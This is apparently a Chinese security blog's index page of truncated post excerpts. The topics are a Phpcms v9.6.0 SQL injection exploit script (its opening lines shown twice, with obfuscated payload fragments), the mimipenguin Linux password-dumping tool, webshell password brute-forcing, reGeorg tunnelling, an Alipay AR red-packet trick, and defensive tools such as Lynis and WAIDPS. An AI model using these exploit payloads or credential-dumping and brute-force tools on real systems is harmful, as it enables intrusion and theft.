phpcms漏洞
注入exp: import requests import sys import urllib url = sys.argv[1] print 'Phpcms v9.6.0 SQLi Exploit Code By Luan' sqli_prefix = '%*27an*d%20' sqli_info = 'e*xp(~(se*lect%*2af*r...
注入exp: import requests import sys import urllib url = sys.argv[1] print 'Phpcms v9.6.0 SQLi Exploit Code By Luan' sqli_prefix = '%*27an*d%20' sqli_info = 'e*xp(~(se*lect%*2af*r...
前有Mimikatz，今有mimipenguin，近日国外安全研究员huntergregal发布了工具mimipenguin，一款Linux下的密码抓取神器，可以说弥补了Linux下密码抓取的空缺。 项目地址 https://github.com/huntergregal/mimipenguin 使用实例 需求： ...
昨天支付宝更新到10.0.0后多了个AR红包功能，热门程度由图可知： 当别人在找图形的时候，我们完全可以利用PS在电脑面前去收附件所有的红包。 所需软件： 1.PS 下面看我操作： 我先藏了一个红包，为了增加难度，我在下面多放了跟火腿...
看了 接地气写的《让你的一句话爆破速度提升千倍》一文后，觉得思路很666，于是写了个小工具。 可爆ASP/ASPX/PHP/JSP一句话： 实测爆破本地php一句话，近10万字典用时10秒左右。 由于JSP常用一句话特殊性，所以只能判断密码的区间，...
reGeorg不用多介绍了，内网渗透中常用工具之一。 https://github.com/sensepost/reGeorg 在做个目标的时候想用reGeorg做个socks5代理，但是出现了问题。记录下解决的过程。 在浏览器中访问会出现很熟悉的 Georg says, 'All seems fine...
昨天苹果WWDC发布了ios10,据说能删内置软件了,赶紧体验了一把 升级： 用Safari浏览器访问http://att4.weiphone.net/temp16/201601/12/5/iOS_beta_Configuration_Profile.mobileconfig 重启升级即可 网上说升级后卡，但是我升完后没感...
1.首先在http://connect.qq.com 申请APP ID和KEY 2.然后现在SDK http://wiki.connect.qq.com/sdk下载 3.在QQ互联中心填写网站基本信息,回调地址填写SDK中的/example/oauth/callback.php 即可 4.网站地址可新建个专门验证的文件或目录...
链接: http://pan.baidu.com/s/12lfci 密码: jjrt
WAIDPS是一个Python编写的无线入侵检测工具，基于Linux平台，完全开源。它可以探测包括WEP/WPA/WPS在内的无线入侵&攻击方式，并可以收集WiFi相关的所有信息。WAIDS适用于渗透测试工作者、无线安全爱好者，当发现攻击时，系统会显示于...
Lynis是针对Unix/Linux的开源安全检查工具，可以发现潜在的系统安全威胁。这个工具覆盖可疑文件监测、漏洞、恶意程序扫描、配置错误等，同时扩展性非常优秀，与OpenVAS / Nessus等工具差别很大。 支持的系统 Lynis没有任何的依赖，可...